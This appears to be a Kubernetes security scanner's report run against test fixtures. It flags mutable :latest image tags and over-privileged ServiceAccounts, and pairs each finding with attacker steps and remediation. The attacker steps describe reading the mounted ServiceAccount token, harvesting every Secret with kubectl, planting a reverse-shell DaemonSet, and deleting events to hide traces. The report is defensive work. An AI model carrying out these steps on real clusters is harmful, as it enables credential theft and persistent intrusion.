A public package compromise (Codecov-style or PyPI-typosquat scenarios, or the 2024 ultralytics PyPI compromise) can republish image:latest with malicious code; clusters with imagePullPolicy: Always and :latest silently pick it up. Pinning to a digest turns a silent supply-chain attack into a noisy CI failure.

Impact Non-deterministic deployments and silent ingestion of upstream supply-chain compromises; disables digest-based verification and signature checking.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker compromises an upstream image (registry credential leak, typosquat, or maintainer takeover).
  2. Pushes vendor/app:latest with a malicious additional layer.
  3. Target cluster's pod restarts and imagePullPolicy: Always re-pulls the tag, getting the new digest silently.
  4. Malicious code runs under the workload's existing RBAC/secrets context.
  5. Without digest pinning or signature verification, defenders have no signal until detection-tier tools fire on the malicious behavior.
Remediation
Pin every image to an immutable digest (@sha256:...) and verify signatures at admission.
  1. Resolve the digest: crane digest <ref> or docker buildx imagetools inspect <image>:<tag>. Update manifests to image: <repo>@sha256:<digest> (you may keep the tag for documentation: image: <repo>:1.2.3@sha256:<digest>).
  2. Set imagePullPolicy: IfNotPresent (digest pinning makes Always unnecessary). For images that absolutely must float, apply a Kyverno policy that rejects :latest.
  3. Sign images at build time with Sigstore Cosign and enforce verification at admission with Connaisseur, Kyverno's verifyImages rule, or sigstore-policy-controller.
  4. Validate: kubectl get deployment/containersec-image -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].image}' contains @sha256:.
Evidence
Containerapp
Imagebusybox:latest
:latest is mutable: the same tag can resolve to different images over time
Show raw JSON
{
  "container": "app",
  "image": "busybox:latest"
}
LOW Deployment/vulnerable/risky-app Workload 2.5
Container app uses mutable image tag nginx:latest in Deployment/vulnerable/risky-app
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Defense Evasion Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Container app in Deployment/vulnerable/risky-app references the image nginx:latest using a mutable tag (either :latest or no tag, which Kubernetes resolves to :latest). Mutable tags break two safety properties: (1) the same manifest produces non-deterministic deployments, since the tag may resolve to different content on different days; (2) there is no cryptographic binding between the manifest and the image content actually run, so registry-side or in-flight tampering cannot be detected.

This is a defense-evasion / supply-chain hygiene finding rather than an active exploit. Image digests (@sha256:<hex>) are immutable: the digest is computed over the manifest content, so any change yields a different digest. SLSA, Sigstore Cosign, and admission controllers like Kyverno or Connaisseur are the modern controls; pinning to a digest is the prerequisite for verifying signatures.

A public package compromise (Codecov-style or PyPI-typosquat scenarios, or the 2024 ultralytics PyPI compromise) can republish image:latest with malicious code; clusters with imagePullPolicy: Always and :latest silently pick it up. Pinning to a digest turns a silent supply-chain attack into a noisy CI failure.

Impact Non-deterministic deployments and silent ingestion of upstream supply-chain compromises; disables digest-based verification and signature checking.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker compromises an upstream image (registry credential leak, typosquat, or maintainer takeover).
  2. Pushes vendor/app:latest with a malicious additional layer.
  3. Target cluster's pod restarts and imagePullPolicy: Always re-pulls the tag, getting the new digest silently.
  4. Malicious code runs under the workload's existing RBAC/secrets context.
  5. Without digest pinning or signature verification, defenders have no signal until detection-tier tools fire on the malicious behavior.
Remediation
Pin every image to an immutable digest (@sha256:...) and verify signatures at admission.
  1. Resolve the digest: crane digest <ref> or docker buildx imagetools inspect <image>:<tag>. Update manifests to image: <repo>@sha256:<digest> (you may keep the tag for documentation: image: <repo>:1.2.3@sha256:<digest>).
  2. Set imagePullPolicy: IfNotPresent (digest pinning makes Always unnecessary). For images that absolutely must float, apply a Kyverno policy that rejects :latest.
  3. Sign images at build time with Sigstore Cosign and enforce verification at admission with Connaisseur, Kyverno's verifyImages rule, or sigstore-policy-controller.
  4. Validate: kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].image}' contains @sha256:.
Evidence
Containerapp
Imagenginx:latest
:latest is mutable: the same tag can resolve to different images over time
Show raw JSON
{
  "container": "app",
  "image": "nginx:latest"
}
LOW Deployment/cloud-eks-test/imds-pivot-app Workload 2.5
Container app uses mutable image tag public.ecr.aws/aws-cli/aws-cli:latest in Deployment/cloud-eks-test/imds-pivot-app
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app
Category: Defense Evasion Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/imds-pivot-app references the image public.ecr.aws/aws-cli/aws-cli:latest using a mutable tag (either :latest or no tag, which Kubernetes resolves to :latest). Mutable tags break two safety properties: (1) the same manifest produces non-deterministic deployments, since the tag may resolve to different content on different days; (2) there is no cryptographic binding between the manifest and the image content actually run, so registry-side or in-flight tampering cannot be detected.

This is a defense-evasion / supply-chain hygiene finding rather than an active exploit. Image digests (@sha256:<hex>) are immutable: the digest is computed over the manifest content, so any change yields a different digest. SLSA, Sigstore Cosign, and admission controllers like Kyverno or Connaisseur are the modern controls; pinning to a digest is the prerequisite for verifying signatures.

A public package compromise (Codecov-style or PyPI-typosquat scenarios, or the 2024 ultralytics PyPI compromise) can republish image:latest with malicious code; clusters with imagePullPolicy: Always and :latest silently pick it up. Pinning to a digest turns a silent supply-chain attack into a noisy CI failure.

Impact Non-deterministic deployments and silent ingestion of upstream supply-chain compromises; disables digest-based verification and signature checking.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker compromises an upstream image (registry credential leak, typosquat, or maintainer takeover).
  2. Pushes vendor/app:latest with a malicious additional layer.
  3. Target cluster's pod restarts and imagePullPolicy: Always re-pulls the tag, getting the new digest silently.
  4. Malicious code runs under the workload's existing RBAC/secrets context.
  5. Without digest pinning or signature verification, defenders have no signal until detection-tier tools fire on the malicious behavior.
Remediation
Pin every image to an immutable digest (@sha256:...) and verify signatures at admission.
  1. Resolve the digest: crane digest <ref> or docker buildx imagetools inspect <image>:<tag>. Update manifests to image: <repo>@sha256:<digest> (you may keep the tag for documentation: image: <repo>:1.2.3@sha256:<digest>).
  2. Set imagePullPolicy: IfNotPresent (digest pinning makes Always unnecessary). For images that absolutely must float, apply a Kyverno policy that rejects :latest.
  3. Sign images at build time with Sigstore Cosign and enforce verification at admission with Connaisseur, Kyverno's verifyImages rule, or sigstore-policy-controller.
  4. Validate: kubectl get deployment/imds-pivot-app -n cloud-eks-test -o jsonpath='{.spec.template.spec.containers[*].image}' contains @sha256:.
Evidence
Containerapp
Imagepublic.ecr.aws/aws-cli/aws-cli:latest
:latest is mutable: the same tag can resolve to different images over time
Show raw JSON
{
  "container": "app",
  "image": "public.ecr.aws/aws-cli/aws-cli:latest"
}

Service Accounts

10 findings · 4 rules · 4 critical · 5 high · 1 medium · 0 low
CRITICAL

ServiceAccount ServiceAccount/rbac-fixtures/sa-cluster-admin holds wildcard verbs on wildcard resources (cluster-admin equivalent)

KUBE-SA-PRIVILEGED-001 2 subjects Score 10.0
MITRE ATT&CK: T1078.004T1098.004T1068

Affected subjects (2)

CRITICAL ServiceAccount/rbac-fixtures/sa-cluster-admin Namespace 10.0
ServiceAccount ServiceAccount/rbac-fixtures/sa-cluster-admin holds wildcard verbs on wildcard resources (cluster-admin equivalent)
Scope · Namespace ServiceAccount rbac-fixtures/sa-cluster-admin: namespace-scoped subject; mounted by pods in rbac-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin Resource: ServiceAccount/rbac-fixtures/sa-cluster-admin

ServiceAccount ServiceAccount/rbac-fixtures/sa-cluster-admin is bound to a Role/ClusterRole that grants verbs: [*] on resources: [*] (and typically apiGroups: [*]). This is structurally indistinguishable from cluster-admin. Every API operation on every resource is authorized.

Aggregated rules:
- verbs [*] on resources [*] (from crb-cluster-admin/cluster-admin in cluster-wide)
- verbs [*] on resources [] (from crb-cluster-admin/cluster-admin in cluster-wide)

Wildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting cluster-admin for an operator the team didn't have time to scope down; (b) a wildcard added "temporarily" during integration that never got rotated; (c) a third-party operator's installer that ships with */* and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.

Workloads using this SA: no workloads currently mount this SA. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.

Impact A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads using ServiceAccount/rbac-fixtures/sa-cluster-admin (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).
  2. They kubectl auth can-i '*' '*' --all-namespaces --token=<stolen-token> and confirm full reach.
  3. They kubectl get secrets -A -o yaml to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).
  4. They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with failurePolicy: Ignore so removal does not break clusters.
  5. They cover by deleting their own audit-log entries via kubectl delete events (allowed under */*) and rotating the SA's token to invalidate IR's existing copies.
Remediation
Replace the wildcard binding on ServiceAccount/rbac-fixtures/sa-cluster-admin with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.
  1. Identify the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "ServiceAccount" and .name == "sa-cluster-admin" and .namespace == "rbac-fixtures")'.
  2. Generate a least-privilege role from the workload's actual API calls. Capture them with audit2rbac (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.
  3. Create a Role/ClusterRole with the minimum verbs and bind it to ServiceAccount/rbac-fixtures/sa-cluster-admin. Verify with kubectl auth can-i for the actual operations the workload needs (and only those).
  4. Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.
  5. Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting verbs: ['*'] on resources: ['*'] to a non-system subject.
Evidence
Effective rules
* on *
via cluster-admin (binding crb-cluster-admin) (cluster scope)
* on
via cluster-admin (binding crb-cluster-admin) (cluster scope)
Show raw JSON
{
  "rules": [
    {
      "namespace": "",
      "resources": [
        "*"
      ],
      "source_binding": "crb-cluster-admin",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    },
    {
      "namespace": "",
      "resources": null,
      "source_binding": "crb-cluster-admin",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    }
  ],
  "workloads": null
}
CRITICAL ServiceAccount/rbac-fixtures/sa-wildcard Namespace 10.0
ServiceAccount ServiceAccount/rbac-fixtures/sa-wildcard holds wildcard verbs on wildcard resources (cluster-admin equivalent)
Scope · Namespace ServiceAccount rbac-fixtures/sa-wildcard: namespace-scoped subject; mounted by pods in rbac-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: ServiceAccount/rbac-fixtures/sa-wildcard

ServiceAccount ServiceAccount/rbac-fixtures/sa-wildcard is bound to a Role/ClusterRole that grants verbs: [*] on resources: [*] (and typically apiGroups: [*]). This is structurally indistinguishable from cluster-admin. Every API operation on every resource is authorized.

Aggregated rules:
- verbs [*] on resources [*] (from crb-wildcard/cr-wildcard in cluster-wide)

Wildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting cluster-admin for an operator the team didn't have time to scope down; (b) a wildcard added "temporarily" during integration that never got rotated; (c) a third-party operator's installer that ships with */* and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.

Workloads using this SA: Pod/rbac-fixtures/wildcard-app-85ff74597d-s68m5, Deployment/rbac-fixtures/wildcard-app. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.

Impact A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads using ServiceAccount/rbac-fixtures/sa-wildcard (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).
  2. They kubectl auth can-i '*' '*' --all-namespaces --token=<stolen-token> and confirm full reach.
  3. They kubectl get secrets -A -o yaml to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).
  4. They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with failurePolicy: Ignore so removal does not break clusters.
  5. They cover by deleting their own audit-log entries via kubectl delete events (allowed under */*) and rotating the SA's token to invalidate IR's existing copies.
Remediation
Replace the wildcard binding on ServiceAccount/rbac-fixtures/sa-wildcard with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.
  1. Identify the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "ServiceAccount" and .name == "sa-wildcard" and .namespace == "rbac-fixtures")'.
  2. Generate a least-privilege role from the workload's actual API calls. Capture them with audit2rbac (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.
  3. Create a Role/ClusterRole with the minimum verbs and bind it to ServiceAccount/rbac-fixtures/sa-wildcard. Verify with kubectl auth can-i for the actual operations the workload needs (and only those).
  4. Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.
  5. Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting verbs: ['*'] on resources: ['*'] to a non-system subject.
Evidence
Effective rules
* on *
via cr-wildcard (binding crb-wildcard) (cluster scope)
Workloads
Pod/wildcard-app-85ff74597d-s68m5 in namespace rbac-fixtures
Deployment/wildcard-app in namespace rbac-fixtures
Show raw JSON
{
  "rules": [
    {
      "namespace": "",
      "resources": [
        "*"
      ],
      "source_binding": "crb-wildcard",
      "source_role": "cr-wildcard",
      "verbs": [
        "*"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "wildcard-app-85ff74597d-s68m5",
      "namespace": "rbac-fixtures"
    },
    {
      "kind": "Deployment",
      "name": "wildcard-app",
      "namespace": "rbac-fixtures"
    }
  ]
}
CRITICAL

ServiceAccount ServiceAccount/rbac-fixtures/sa-impersonate is mounted by live workloads and has dangerous permissions: impersonate (cluster)

KUBE-SA-PRIVILEGED-002 6 subjects Score 10.0

Affected subjects (6)

CRITICAL ServiceAccount/rbac-fixtures/sa-impersonate Namespace 10.0
ServiceAccount ServiceAccount/rbac-fixtures/sa-impersonate is mounted by live workloads and has dangerous permissions: impersonate (cluster)
Scope · Namespace ServiceAccount rbac-fixtures/sa-impersonate: namespace-scoped subject; mounted by pods in rbac-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-impersonate Resource: ServiceAccount/rbac-fixtures/sa-impersonate

ServiceAccount ServiceAccount/rbac-fixtures/sa-impersonate carries one or more dangerous RBAC capabilities (impersonate (cluster)) *and* is actively mounted by workloads (Pod/rbac-fixtures/imp-app-5f78d6bb9d-9xhpd, Deployment/rbac-fixtures/imp-app). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.

The flagged capabilities map directly to known privesc paths:
- secrets → read service-account tokens of higher-privileged SAs (KUBE-PRIVESC-005).
- create pods → mount any SA in a new pod, run as root, or set hostPath: / to escape (KUBE-PRIVESC-001, KUBE-ESCAPE-*).
- mutate workloads → modify a Deployment to swap its image / SA, gaining the workload's identity (KUBE-PRIVESC-003).
- bind roles / bind/escalate → grant yourself or any SA arbitrary permissions, cluster-wide (KUBE-PRIVESC-009, KUBE-PRIVESC-010).
- impersonate → assume any user/group/SA, instantly bypassing RBAC (KUBE-PRIVESC-008).
- nodes/proxy → kubelet API access to read all pod logs/exec on a node (KUBE-PRIVESC-012).

Workloads using this SA: Pod/rbac-fixtures/imp-app-5f78d6bb9d-9xhpd, Deployment/rbac-fixtures/imp-app. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.

Impact Compromise of any workload using ServiceAccount/rbac-fixtures/sa-impersonate immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated KUBE-PRIVESC-* findings on the same subject).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads (Pod/rbac-fixtures/imp-app-5f78d6bb9d-9xhpd, Deployment/rbac-fixtures/imp-app) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod.
  3. They use the token to invoke the dangerous capabilities (impersonate (cluster)) directly. The token already authenticates as ServiceAccount/rbac-fixtures/sa-impersonate, so no further escalation is needed.
  4. For each capability they convert into the matching privesc path: secrets→token theft → impersonate higher SA; bind→grant self cluster-admin; pods/create→privileged pod with hostPath /.
  5. Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically cluster-admin if any privesc path connects.
Remediation
Split ServiceAccount/rbac-fixtures/sa-impersonate into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.
  1. Audit which of the workloads (Pod/rbac-fixtures/imp-app-5f78d6bb9d-9xhpd, Deployment/rbac-fixtures/imp-app) actually exercises each dangerous capability. Start with audit2rbac over a 7-day window, then ask the workload's owner to confirm.
  2. For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.
  3. Migrate workloads to the new dedicated SA (set spec.serviceAccountName). Delete the bindings against the original ServiceAccount/rbac-fixtures/sa-impersonate and rotate its token.
  4. For capabilities that *no* workload actually exercises, delete the binding entirely.
  5. Wire enforcement: a Kyverno policy that warns when pods.spec.serviceAccountName references an SA whose RBAC binding includes any of [secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get].
Evidence
Effective rules
impersonate on groups
via cr-impersonate (binding crb-impersonate) (cluster scope)
Workloads
Pod/imp-app-5f78d6bb9d-9xhpd in namespace rbac-fixtures
Deployment/imp-app in namespace rbac-fixtures
Dangerous permissionsimpersonate (cluster)
Show raw JSON
{
  "dangerous_permissions": [
    "impersonate (cluster)"
  ],
  "rules": [
    {
      "namespace": "",
      "resources": [
        "groups"
      ],
      "source_binding": "crb-impersonate",
      "source_role": "cr-impersonate",
      "verbs": [
        "impersonate"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "imp-app-5f78d6bb9d-9xhpd",
      "namespace": "rbac-fixtures"
    },
    {
      "kind": "Deployment",
      "name": "imp-app",
      "namespace": "rbac-fixtures"
    }
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-wildcard Namespace 10.0
ServiceAccount ServiceAccount/rbac-fixtures/sa-wildcard is mounted by live workloads and has dangerous permissions: secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)
Scope · Namespace ServiceAccount rbac-fixtures/sa-wildcard: namespace-scoped subject; mounted by pods in rbac-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: ServiceAccount/rbac-fixtures/sa-wildcard

ServiceAccount ServiceAccount/rbac-fixtures/sa-wildcard carries one or more dangerous RBAC capabilities (secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)) *and* is actively mounted by workloads (Pod/rbac-fixtures/wildcard-app-85ff74597d-s68m5, Deployment/rbac-fixtures/wildcard-app). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.

The flagged capabilities map directly to known privesc paths:
- secrets → read service-account tokens of higher-privileged SAs (KUBE-PRIVESC-005).
- create pods → mount any SA in a new pod, run as root, or set hostPath: / to escape (KUBE-PRIVESC-001, KUBE-ESCAPE-*).
- mutate workloads → modify a Deployment to swap its image / SA, gaining the workload's identity (KUBE-PRIVESC-003).
- bind roles / bind/escalate → grant yourself or any SA arbitrary permissions, cluster-wide (KUBE-PRIVESC-009, KUBE-PRIVESC-010).
- impersonate → assume any user/group/SA, instantly bypassing RBAC (KUBE-PRIVESC-008).
- nodes/proxy → kubelet API access to read all pod logs/exec on a node (KUBE-PRIVESC-012).

Workloads using this SA: Pod/rbac-fixtures/wildcard-app-85ff74597d-s68m5, Deployment/rbac-fixtures/wildcard-app. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.

Impact Compromise of any workload using ServiceAccount/rbac-fixtures/sa-wildcard immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated KUBE-PRIVESC-* findings on the same subject).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads (Pod/rbac-fixtures/wildcard-app-85ff74597d-s68m5, Deployment/rbac-fixtures/wildcard-app) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod.
  3. They use the token to invoke the dangerous capabilities (secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)) directly. The token already authenticates as ServiceAccount/rbac-fixtures/sa-wildcard, so no further escalation is needed.
  4. For each capability they convert into the matching privesc path: secrets→token theft → impersonate higher SA; bind→grant self cluster-admin; pods/create→privileged pod with hostPath /.
  5. Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically cluster-admin if any privesc path connects.
Remediation
Split ServiceAccount/rbac-fixtures/sa-wildcard into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.
  1. Audit which of the workloads (Pod/rbac-fixtures/wildcard-app-85ff74597d-s68m5, Deployment/rbac-fixtures/wildcard-app) actually exercises each dangerous capability. Start with audit2rbac over a 7-day window, then ask the workload's owner to confirm.
  2. For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.
  3. Migrate workloads to the new dedicated SA (set spec.serviceAccountName). Delete the bindings against the original ServiceAccount/rbac-fixtures/sa-wildcard and rotate its token.
  4. For capabilities that *no* workload actually exercises, delete the binding entirely.
  5. Wire enforcement: a Kyverno policy that warns when pods.spec.serviceAccountName references an SA whose RBAC binding includes any of [secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get].
Evidence
Effective rules
* on *
via cr-wildcard (binding crb-wildcard) (cluster scope)
Workloads
Pod/wildcard-app-85ff74597d-s68m5 in namespace rbac-fixtures
Deployment/wildcard-app in namespace rbac-fixtures
Dangerous permissionssecrets (cluster)create pods (cluster)mutate workloads (cluster)bind roles (cluster)bind/escalate (cluster)impersonate (cluster)nodes/proxy (cluster)
Show raw JSON
{
  "dangerous_permissions": [
    "secrets (cluster)",
    "create pods (cluster)",
    "mutate workloads (cluster)",
    "bind roles (cluster)",
    "bind/escalate (cluster)",
    "impersonate (cluster)",
    "nodes/proxy (cluster)"
  ],
  "rules": [
    {
      "namespace": "",
      "resources": [
        "*"
      ],
      "source_binding": "crb-wildcard",
      "source_role": "cr-wildcard",
      "verbs": [
        "*"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "wildcard-app-85ff74597d-s68m5",
      "namespace": "rbac-fixtures"
    },
    {
      "kind": "Deployment",
      "name": "wildcard-app",
      "namespace": "rbac-fixtures"
    }
  ]
}
HIGH ServiceAccount/local-path-storage/local-path-provisioner-service-account Namespace 10.0
ServiceAccount ServiceAccount/local-path-storage/local-path-provisioner-service-account is mounted by live workloads and has dangerous permissions: create pods (local-path-storage)
Scope · Namespace ServiceAccount local-path-storage/local-path-provisioner-service-account: namespace-scoped subject; mounted by pods in local-path-storage
Category: Privilege Escalation Subject: ServiceAccount/local-path-storage/local-path-provisioner-service-account Resource: ServiceAccount/local-path-storage/local-path-provisioner-service-account

ServiceAccount ServiceAccount/local-path-storage/local-path-provisioner-service-account carries one or more dangerous RBAC capabilities (create pods (local-path-storage)) *and* is actively mounted by workloads (Pod/local-path-storage/local-path-provisioner-67b8995b4b-cwz9j, Deployment/local-path-storage/local-path-provisioner). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.

The flagged capabilities map directly to known privesc paths:
- secrets → read service-account tokens of higher-privileged SAs (KUBE-PRIVESC-005).
- create pods → mount any SA in a new pod, run as root, or set hostPath: / to escape (KUBE-PRIVESC-001, KUBE-ESCAPE-*).
- mutate workloads → modify a Deployment to swap its image / SA, gaining the workload's identity (KUBE-PRIVESC-003).
- bind roles / bind/escalate → grant yourself or any SA arbitrary permissions, cluster-wide (KUBE-PRIVESC-009, KUBE-PRIVESC-010).
- impersonate → assume any user/group/SA, instantly bypassing RBAC (KUBE-PRIVESC-008).
- nodes/proxy → kubelet API access to read all pod logs/exec on a node (KUBE-PRIVESC-012).

Workloads using this SA: Pod/local-path-storage/local-path-provisioner-67b8995b4b-cwz9j, Deployment/local-path-storage/local-path-provisioner. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.

Impact Compromise of any workload using ServiceAccount/local-path-storage/local-path-provisioner-service-account immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated KUBE-PRIVESC-* findings on the same subject).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads (Pod/local-path-storage/local-path-provisioner-67b8995b4b-cwz9j, Deployment/local-path-storage/local-path-provisioner) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod.
  3. They use the token to invoke the dangerous capabilities (create pods (local-path-storage)) directly. The token already authenticates as ServiceAccount/local-path-storage/local-path-provisioner-service-account, so no further escalation is needed.
  4. For each capability they convert into the matching privesc path: secrets→token theft → impersonate higher SA; bind→grant self cluster-admin; pods/create→privileged pod with hostPath /.
  5. Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically cluster-admin if any privesc path connects.
Remediation
Split ServiceAccount/local-path-storage/local-path-provisioner-service-account into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.
  1. Audit which of the workloads (Pod/local-path-storage/local-path-provisioner-67b8995b4b-cwz9j, Deployment/local-path-storage/local-path-provisioner) actually exercises each dangerous capability. Start with audit2rbac over a 7-day window, then ask the workload's owner to confirm.
  2. For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.
